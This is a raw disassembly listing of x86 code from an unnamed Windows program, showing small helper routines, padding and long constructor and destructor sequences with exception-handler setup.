arg_0 = dword ptr 4 push esi mov esi, [ecx] call sub_4018B6 mov eax, [esp+4+arg_0] mov [eax], esi pop esi retn 8 sub_4160C0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4160F0 proc near ; CODE XREF: sub_401EA6j arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov eax, [ecx] push esi xor ecx, ecx mov esi, [edx] cmp eax, esi pop esi setz cl mov al, cl retn 4 sub_4160F0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_416120 proc near ; CODE XREF: sub_401CFDj arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch push ebx push esi mov esi, ecx push edi lea ecx, [esp+0Ch+arg_4] call sub_4012CB mov edi, eax push edi call sub_4017D5 mov eax, [eax] add esp, 4 mov ecx, esi push eax push edi call sub_401DA2 sub_416120 endp ; --------------------------------------------------------------------------- push edi mov ebx, eax call sub_4017D5 push edi mov [eax], ebx call sub_4017D5 mov edi, [eax] push edi call sub_4017D5 mov ecx, [eax] push ecx call sub_401BB8 mov edx, [esp+28h] add esp, 10h mov [eax], edi push edx push edi call sub_4017DA add esp, 4 mov ecx, esi push eax call sub_401DFC mov ecx, [esi+8] push edi inc ecx mov [esi+8], ecx mov esi, [esp+14h] mov ecx, esi call sub_401D66 mov eax, esi pop edi pop esi pop ebx retn 0Ch ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4161C0 proc near ; CODE XREF: sub_401078j var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ecx push ebx push esi push edi mov edi, ecx lea eax, [esp+10h+var_4] push 0 push eax lea ecx, [esp+18h+arg_4] call sub_401EA1 mov ecx, eax call sub_4012CB mov esi, eax push esi call sub_401BB8 push esi mov ebx, eax call sub_4017D5 mov ecx, [eax] push ecx call sub_401BB8 mov edx, [ebx] push esi mov [eax], edx call sub_4017D5 push esi mov ebx, eax call sub_401BB8 mov eax, [eax] push eax call sub_4017D5 mov ecx, [ebx] push esi mov [eax], ecx call sub_4017DA add esp, 1Ch mov ecx, edi push eax call sub_4013F7 push esi mov ecx, edi call sub_401EF6 sub_4161C0 endp ; --------------------------------------------------------------------------- mov eax, [edi+8] mov edx, [esp+18h] dec eax mov [edi+8], eax mov eax, [esp+14h] pop edi pop esi mov [eax], edx pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416280 proc near ; CODE XREF: sub_401401j var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch sub esp, 8 lea eax, [esp+8+arg_8] push esi mov esi, ecx push eax lea ecx, [esp+10h+arg_4] call sub_401339 test al, al jz short loc_4162DA loc_416298: ; CODE XREF: sub_416280+47j lea ecx, [esp+0Ch+var_8] push 0 push ecx lea ecx, [esp+14h+arg_4] call sub_401EA1 mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_401078 ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch+arg_8] push ecx lea ecx, [esp+10h+arg_4] call sub_401339 test al, al jnz short loc_416298 mov eax, [esp+0Ch+arg_0] mov edx, [esp+0Ch+arg_4] pop esi mov [eax], edx add esp, 8 retn 0Ch ; --------------------------------------------------------------------------- loc_4162DA: ; CODE XREF: sub_416280+16j mov eax, [esp+0Ch+arg_0] mov ecx, [esp+0Ch+arg_4] pop esi mov [eax], ecx add esp, 8 retn 0Ch sub_416280 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_416310 proc near ; CODE XREF: sub_401DA2j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi push 0Ch call sub_401E9C sub_416310 endp ; --------------------------------------------------------------------------- mov edi, [esp+0Ch] mov esi, eax test edi, edi jnz short loc_416325 mov edi, esi loc_416325: ; CODE XREF: ___:00416321j push esi call sub_401BB8 mov [eax], edi mov edi, [esp+14h] add esp, 4 test edi, edi jnz short loc_41633A mov edi, esi loc_41633A: ; CODE XREF: ___:00416336j push esi call sub_4017D5 add esp, 4 mov [eax], edi mov eax, esi pop edi pop esi retn 8 ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_416360 proc near ; CODE XREF: sub_401EF6j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 1 push eax call sub_401857 sub_416360 endp ; --------------------------------------------------------------------------- retn 4 ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416380 proc near ; CODE XREF: sub_401BB8j arg_0 = dword ptr 4 mov eax, [esp+arg_0] retn sub_416380 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4163A0 proc near ; CODE XREF: sub_4017DAj arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 8 retn sub_4163A0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4163C0 proc near ; CODE XREF: sub_401E29j mov eax, ecx retn sub_4163C0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4163E0 proc near ; CODE XREF: sub_401D66j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push eax call sub_40160E mov eax, esi pop esi retn 4 sub_4163E0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416410 proc near ; CODE XREF: sub_401EA1j arg_0 = dword ptr 4 push esi mov esi, [ecx] call sub_40118B mov eax, [esp+4+arg_0] mov [eax], esi pop esi retn 8 sub_416410 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416440 proc near ; CODE XREF: sub_40144Cj arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov eax, [ecx] push esi xor ecx, ecx mov esi, [edx] cmp eax, esi pop esi setz cl mov al, cl retn 4 sub_416440 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416470 proc near ; CODE XREF: sub_401104j arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 4 retn sub_416470 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_416490 proc near ; CODE XREF: sub_4020D6j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_401D16 sub_416490 endp ; --------------------------------------------------------------------------- add esp, 8 retn 4 ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4164C0 proc near ; CODE XREF: sub_401E01j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_4367E2 sub_4164C0 endp ; --------------------------------------------------------------------------- pop ecx retn 8 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4164E0 proc near ; CODE XREF: sub_402194j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_40125D add esp, 8 retn 8 sub_4164E0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416510 proc near ; CODE XREF: sub_4014F6j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call j_nullsub_6 pop ecx retn 4 sub_416510 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416530 proc near ; CODE XREF: sub_401753j arg_0 = dword ptr 4 mov eax, ecx mov ecx, [esp+arg_0] mov [eax], ecx retn 4 sub_416530 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416550 proc near ; CODE XREF: sub_401A4Bj mov eax, [ecx] push eax call sub_401EFB add esp, 4 retn sub_416550 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416570 proc near ; CODE XREF: sub_4020EFj push esi mov esi, ecx mov eax, [esi] push eax call sub_40208B mov ecx, [eax] add esp, 4 mov [esi], ecx mov eax, esi pop esi retn sub_416570 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4165A0 proc near ; CODE XREF: sub_401CA8j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_401E56 neg al sbb eax, eax inc eax retn 4 sub_4165A0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4165D0 proc near ; CODE XREF: sub_401C4Ej mov eax, [ecx] retn sub_4165D0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4165F0 proc near ; CODE XREF: sub_401163j arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 4 retn sub_4165F0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_416610 proc near ; CODE XREF: sub_4015A5j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_401D16 sub_416610 endp ; --------------------------------------------------------------------------- add esp, 8 retn 4 ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_416640 proc near ; CODE XREF: sub_4010D7j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_4367E2 sub_416640 endp ; --------------------------------------------------------------------------- pop ecx retn 8 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416660 proc near ; CODE XREF: sub_4015E6j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_402040 add esp, 8 retn 8 sub_416660 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416690 proc near ; CODE XREF: sub_401D4Dj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call j_nullsub_5 pop ecx retn 4 sub_416690 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4166B0 proc near ; CODE XREF: sub_401357j arg_0 = dword ptr 4 mov eax, ecx mov ecx, [esp+arg_0] mov [eax], ecx retn 4 sub_4166B0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4166D0 proc near ; CODE XREF: sub_401F6Ej mov eax, [ecx] retn sub_4166D0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4166F0 proc near ; CODE XREF: sub_4017D5j arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 4 retn sub_4166F0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_416710 proc near ; CODE XREF: sub_401E9Cj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_401D16 sub_416710 endp ; --------------------------------------------------------------------------- add esp, 8 retn 4 ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_416740 proc near ; CODE XREF: sub_401857j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_4367E2 sub_416740 endp ; --------------------------------------------------------------------------- pop ecx retn 8 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416760 proc near ; CODE XREF: sub_401DFCj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_4020CC add esp, 8 retn 8 sub_416760 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416790 proc near ; CODE XREF: sub_4013F7j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call j_nullsub_3 pop ecx retn 4 sub_416790 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4167B0 proc near ; CODE XREF: sub_40160Ej arg_0 = dword ptr 4 mov eax, ecx mov ecx, [esp+arg_0] mov [eax], ecx retn 4 sub_4167B0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4167D0 proc near ; CODE XREF: sub_4012CBj mov eax, [ecx] retn sub_4167D0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4167F0 proc near ; CODE XREF: sub_401E56j arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov eax, [ecx] push esi xor ecx, ecx mov esi, [edx] cmp eax, esi pop esi setz cl mov al, cl retn 4 sub_4167F0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416820 proc near ; CODE XREF: sub_40125Dj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push eax push 4 call sub_4011CC add esp, 8 test eax, eax jz short locret_41683B mov ecx, [esp+arg_4] mov edx, [ecx] mov [eax], edx locret_41683B: ; CODE XREF: sub_416820+11j retn sub_416820 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_6. PRESS KEYPAD "+" TO EXPAND] db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416870 proc near ; CODE XREF: sub_402040j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push eax push 4 call sub_4011CC add esp, 8 test eax, eax jz short locret_41688B mov ecx, [esp+arg_4] mov edx, [ecx] mov [eax], edx locret_41688B: ; CODE XREF: sub_416870+11j retn sub_416870 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_5. PRESS KEYPAD "+" TO EXPAND] db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4168C0 proc near ; CODE XREF: sub_4020CCj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push eax push 4 call sub_4011CC add esp, 8 test eax, eax jz short locret_4168DB mov ecx, [esp+arg_4] mov edx, [ecx] mov [eax], edx locret_4168DB: ; CODE XREF: sub_4168C0+11j retn sub_4168C0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_3. PRESS KEYPAD "+" TO EXPAND] aRrrrrrrrrrrrrr db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌè',1Bh,0 align 4 dd 36E900h, 90900000h, 90909090h, 4 dup(0CCCCCCCCh), 447148B9h dd 0B508E900h, 9090FFFEh, 90909090h, 4 dup(0CCCCCCCCh) dd 41697068h, 0FF6CE800h, 0C3590001h, 90909090h, 4 dup(0CCCCCCCCh) dd 447148B9h, 0B2CAE900h, 9090FFFEh, 90909090h, 4 dup(0CCCCCCCCh) ; --------------------------------------------------------------------------- loc_416990: ; CODE XREF: ___:00401C44j push 0FFFFFFFFh push offset loc_439FE1 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+4], esi lea ecx, [esi+9FD83h] mov dword ptr [esp+10h], 1Ah call sub_4021DA ; --------------------------------------------------------------------------- lea ecx, [esi+9FD6Ch] mov byte ptr [esp+10h], 19h call sub_401226 lea ecx, [esi+9FD57h] mov byte ptr [esp+10h], 18h call sub_401226 lea ecx, [esi+9FD42h] mov byte ptr [esp+10h], 17h call sub_401226 lea ecx, [esi+9FD2Dh] mov byte ptr [esp+10h], 16h call sub_401226 lea ecx, [esi+9FC42h] mov byte ptr [esp+10h], 15h call sub_401EE2 lea ecx, [esi+9FC31h] mov byte ptr [esp+10h], 14h call sub_40176C lea ecx, [esi+9FBFFh] mov byte ptr [esp+10h], 13h call sub_401FF5 lea ecx, [esi+9FBCDh] mov byte ptr [esp+10h], 12h call sub_401DED lea ecx, [esi+9FB93h] mov byte ptr [esp+10h], 11h call sub_40187A lea ecx, [esi+9FB05h] mov byte ptr [esp+10h], 10h call sub_401113 lea ecx, [esi+9FAD3h] mov byte ptr [esp+10h], 0Fh call sub_401F28 lea ecx, [esi+9FA73h] mov byte ptr [esp+10h], 0Eh call sub_401B27 lea ecx, [esi+9FA13h] mov byte ptr [esp+10h], 0Dh call sub_4017D0 lea ecx, [esi+8F4BFh] mov byte ptr [esp+10h], 0Ch call sub_4018CA lea ecx, [esi+8F3A2h] mov byte ptr [esp+10h], 0Bh call sub_401EB0 lea ecx, [esi+8F285h] mov byte ptr [esp+10h], 0Ah call sub_402216 lea ecx, [esi+8F270h] mov byte ptr [esp+10h], 9 call sub_4017A3 lea ecx, [esi+8F247h] mov byte ptr [esp+10h], 8 call sub_401A23 lea ecx, [esi+8EF5Dh] mov byte ptr [esp+10h], 7 call sub_4013C0 ; --------------------------------------------------------------------------- lea ecx, [esi+1E6Fh] mov byte ptr [esp+10h], 6 call sub_401235 lea ecx, [esi+1D29h] mov byte ptr [esp+10h], 5 call sub_401E83 lea ecx, [esi+1C58h] mov byte ptr [esp+10h], 4 call sub_4014F1 lea ecx, [esi+1BBEh] mov byte ptr [esp+10h], 3 call sub_401AE6 ; --------------------------------------------------------------------------- lea ecx, [esi+1B46h] mov byte ptr [esp+10h], 2 call sub_401C8F ; --------------------------------------------------------------------------- lea ecx, [esi+15Fh] mov byte ptr [esp+10h], 1 call sub_401929 lea ecx, [esi+3Eh] mov byte ptr [esp+10h], 0 call sub_40143D mov ecx, esi mov dword ptr [esp+10h], 0FFFFFFFFh call sub_401262 ; --------------------------------------------------------------------------- mov ecx, [esp+8] pop esi mov large fs:0, ecx add esp, 10h retn ; --------------------------------------------------------------------------- db 4 dup(90h) db 80h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416C00 proc near ; CODE XREF: sub_401A23j push esi mov esi, ecx mov eax, [esi+15h] mov dword ptr [esi], offset off_43E050 test eax, eax jle short loc_416C17 push eax call near ptr 71AB9639h nop loc_416C17: ; CODE XREF: sub_416C00+Ej mov ecx, esi call sub_402031 pop esi retn sub_416C00 endp ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416C30 proc near ; CODE XREF: ___:0040126Cj sub_4019BFj arg_0 = byte ptr 4 push esi mov esi, ecx call sub_401A23 test [esp+4+arg_0], 1 jz short loc_416C48 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_416C48: ; CODE XREF: sub_416C30+Dj mov eax, esi pop esi retn 4 sub_416C30 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416C60 proc near ; CODE XREF: sub_4017A3j push esi mov esi, ecx mov eax, [esi+11h] mov dword ptr [esi], offset off_43E05C test eax, eax jle short loc_416C77 push eax nop call near ptr 71AB9639h loc_416C77: ; CODE XREF: sub_416C60+Ej mov ecx, esi call sub_402031 pop esi retn sub_416C60 endp ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_416C90: ; CODE XREF: ___:00401627j ; ___:loc_401C99j push esi mov esi, ecx call sub_4017A3 test byte ptr [esp+8], 1 jz short loc_416CA8 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_416CA8: ; CODE XREF: ___:00416C9Dj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416CC0 proc near ; CODE XREF: sub_40176Cj mov dword ptr [ecx], offset off_43E068 jmp sub_402031 sub_416CC0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_416CE0: ; CODE XREF: ___:loc_40191Aj ; ___:0040218Aj push esi mov esi, ecx call sub_40176C test byte ptr [esp+8], 1 jz short loc_416CF8 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_416CF8: ; CODE XREF: ___:00416CEDj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416D10 proc near ; CODE XREF: sub_40187Aj mov dword ptr [ecx], offset off_43E074 add ecx, 4 jmp sub_401023 sub_416D10 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_416D30: ; CODE XREF: ___:00401E42j push 0FFFFFFFFh push offset loc_43A1C1 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push esi mov esi, ecx mov [esp+8], esi call sub_40209F ; --------------------------------------------------------------------------- lea ecx, [esi+3Eh] mov dword ptr [esp+14h], 0 call sub_4015DC lea ecx, [esi+15Fh] mov byte ptr [esp+14h], 1 call sub_40129E lea ecx, [esi+1B46h] mov byte ptr [esp+14h], 2 call sub_401FFA ; --------------------------------------------------------------------------- lea ecx, [esi+1BBEh] mov byte ptr [esp+14h], 3 call sub_4019F1 ; --------------------------------------------------------------------------- lea ecx, [esi+1C58h] mov byte ptr [esp+14h], 4 call sub_40157D lea ecx, [esi+1D29h] mov byte ptr [esp+14h], 5 call sub_401645 lea ecx, [esi+1E6Fh] mov byte ptr [esp+14h], 6 call sub_401776 lea ecx, [esi+8EF5Dh] mov byte ptr [esp+14h], 7 call sub_401695 lea ecx, [esi+8F247h] mov byte ptr [esp+14h], 8 call sub_401820 lea ecx, [esi+8F270h] mov byte ptr [esp+14h], 9 call sub_4016B3 lea ecx, [esi+8F285h] mov byte ptr [esp+14h], 0Ah call sub_401415 lea ecx, [esi+8F3A2h] mov byte ptr [esp+14h], 0Bh call sub_401302 lea ecx, [esi+8F4BFh] mov byte ptr [esp+14h], 0Ch call sub_401271 lea ecx, [esi+8F51Fh] mov byte ptr [esp+14h], 0Dh call sub_401D11 lea ecx, [esi+9FA13h] call sub_4012FD lea ecx, [esi+9FA73h] mov byte ptr [esp+14h], 0Eh call sub_401A7D lea ecx, [esi+9FAD3h] mov byte ptr [esp+14h], 0Fh call sub_401285 lea ecx, [esi+9FB05h] mov byte ptr [esp+14h], 10h call sub_401CA3 lea ecx, [esi+9FB93h] mov byte ptr [esp+14h], 11h call sub_402103 ; --------------------------------------------------------------------------- mov byte ptr [esp+14h], 12h lea ecx, [esi+9FBCDh] call sub_401573 lea ecx, [esi+9FBFFh] mov byte ptr [esp+14h], 13h call sub_40178F lea ecx, [esi+9FC31h] mov byte ptr [esp+14h], 14h call sub_401069 lea ecx, [esi+9FC42h] mov byte ptr [esp+14h], 15h call sub_401073 lea ecx, [esi+9FD2Dh] mov byte ptr [esp+14h], 16h call sub_401424 lea ecx, [esi+9FD42h] mov byte ptr [esp+14h], 17h call sub_401424 lea ecx, [esi+9FD57h] mov byte ptr [esp+14h], 18h call sub_401424 lea ecx, [esi+9FD6Ch] mov byte ptr [esp+14h], 19h call sub_401424 lea eax, [esp+7] lea ecx, [esi+9FD83h] push eax mov byte ptr [esp+18h], 1Ah call sub_401AFA ; --------------------------------------------------------------------------- mov ecx, [esp+0Ch] mov eax, esi pop esi mov large fs:0, ecx add esp, 14h retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 80h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_416FB0 proc near ; CODE XREF: sub_401262j var_10 = dword ptr -10h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_416FB0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+32h] mov [esp+14h+var_4], 0 call sub_401B09 sub_416FB0 endp ; --------------------------------------------------------------------------- lea ecx, [esi+4] mov dword ptr [esp+10h], 0FFFFFFFFh call sub_401023 mov ecx, [esp+8] pop esi mov large fs:0, ecx add esp, 10h retn ; --------------------------------------------------------------------------- db 3 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417020 proc near ; CODE XREF: sub_401929j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_417020 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+179Fh] mov [esp+14h+var_4], 3Ch call sub_40206D lea ecx, [esi+1557h] mov byte ptr [esp+14h+var_4], 3Bh call sub_40206D lea ecx, [esi+130Fh] mov byte ptr [esp+14h+var_4], 3Ah call sub_40206D lea ecx, [esi+10C7h] mov byte ptr [esp+14h+var_4], 39h call sub_40206D lea ecx, [esi+0E7Fh] mov byte ptr [esp+14h+var_4], 38h call sub_40206D mov byte ptr [esp+14h+var_4], 37h lea ecx, [esi+0E51h] call sub_401023 lea ecx, [esi+0E23h] mov byte ptr [esp+14h+var_4], 36h call sub_401023 lea ecx, [esi+0DF5h] mov byte ptr [esp+14h+var_4], 35h call sub_401023 lea ecx, [esi+0DC7h] mov byte ptr [esp+14h+var_4], 34h call sub_401023 lea ecx, [esi+0D99h] mov byte ptr [esp+14h+var_4], 33h call sub_401023 lea ecx, [esi+0D6Bh] mov byte ptr [esp+14h+var_4], 32h call sub_401023 lea ecx, [esi+0D3Dh] mov byte ptr [esp+14h+var_4], 31h call sub_401023 lea ecx, [esi+0D0Fh] mov byte ptr [esp+14h+var_4], 30h call sub_401023 lea ecx, [esi+0CE1h] mov byte ptr [esp+14h+var_4], 2Fh call sub_401023 lea ecx, [esi+0CB3h] mov byte ptr [esp+14h+var_4], 2Eh call sub_401023 lea ecx, [esi+0C85h] mov byte ptr [esp+14h+var_4], 2Dh call sub_401023 lea ecx, [esi+0C57h] mov byte ptr [esp+14h+var_4], 2Ch call sub_401023 lea ecx, [esi+0C29h] mov byte ptr [esp+14h+var_4], 2Bh call sub_401023 lea ecx, [esi+0BFBh] mov byte ptr [esp+14h+var_4], 2Ah call sub_401023 lea ecx, [esi+0BCDh] mov byte ptr [esp+14h+var_4], 29h call sub_401023 lea ecx, [esi+0B9Fh] mov byte ptr [esp+14h+var_4], 28h call sub_401023 lea ecx, [esi+0B71h] mov byte ptr [esp+14h+var_4], 27h call sub_401023 lea ecx, [esi+0B28h] mov byte ptr [esp+14h+var_4], 26h call sub_401AD2 lea ecx, [esi+0ADFh] mov byte ptr [esp+14h+var_4], 25h call sub_401AD2 lea ecx, [esi+0A96h] mov byte ptr [esp+14h+var_4], 24h call sub_401AD2 lea ecx, [esi+0A4Dh] mov byte ptr [esp+14h+var_4], 23h call sub_401AD2 lea ecx, [esi+0A04h] mov byte ptr [esp+14h+var_4], 22h call sub_401AD2 lea ecx, [esi+9BBh] mov byte ptr [esp+14h+var_4], 21h call sub_401AD2 lea ecx, [esi+972h] mov byte ptr [esp+14h+var_4], 20h call sub_401AD2 lea ecx, [esi+929h] mov byte ptr [esp+14h+var_4], 1Fh call sub_401AD2 lea ecx, [esi+8E0h] mov byte ptr [esp+14h+var_4], 1Eh call sub_401AD2 lea ecx, [esi+897h] mov byte ptr [esp+14h+var_4], 1Dh call sub_401AD2 mov byte ptr [esp+14h+var_4], 1Ch lea ecx, [esi+84Eh] call sub_401AD2 lea ecx, [esi+805h] mov byte ptr [esp+14h+var_4], 1Bh call sub_401AD2 lea ecx, [esi+7BCh] mov byte ptr [esp+14h+var_4], 1Ah call sub_401AD2 lea ecx, [esi+773h] mov byte ptr [esp+14h+var_4], 19h call sub_401AD2 lea ecx, [esi+72Ah] mov byte ptr [esp+14h+var_4], 18h call sub_401AD2 lea ecx, [esi+6E1h] mov byte ptr [esp+14h+var_4], 17h call sub_401AD2 lea ecx, [esi+698h] mov byte ptr [esp+14h+var_4], 16h call sub_401AD2 lea ecx, [esi+64Fh] mov byte ptr [esp+14h+var_4], 15h call sub_401AD2 lea ecx, [esi+606h] mov byte ptr [esp+14h+var_4], 14h call sub_401AD2 lea ecx, [esi+5BDh] mov byte ptr [esp+14h+var_4], 13h call sub_401AD2 lea ecx, [esi+574h] mov byte ptr [esp+14h+var_4], 12h call sub_401AD2 lea ecx, [esi+52Bh] mov byte ptr [esp+14h+var_4], 11h call sub_401AD2 lea ecx, [esi+4E2h] mov byte ptr [esp+14h+var_4], 10h call sub_401AD2 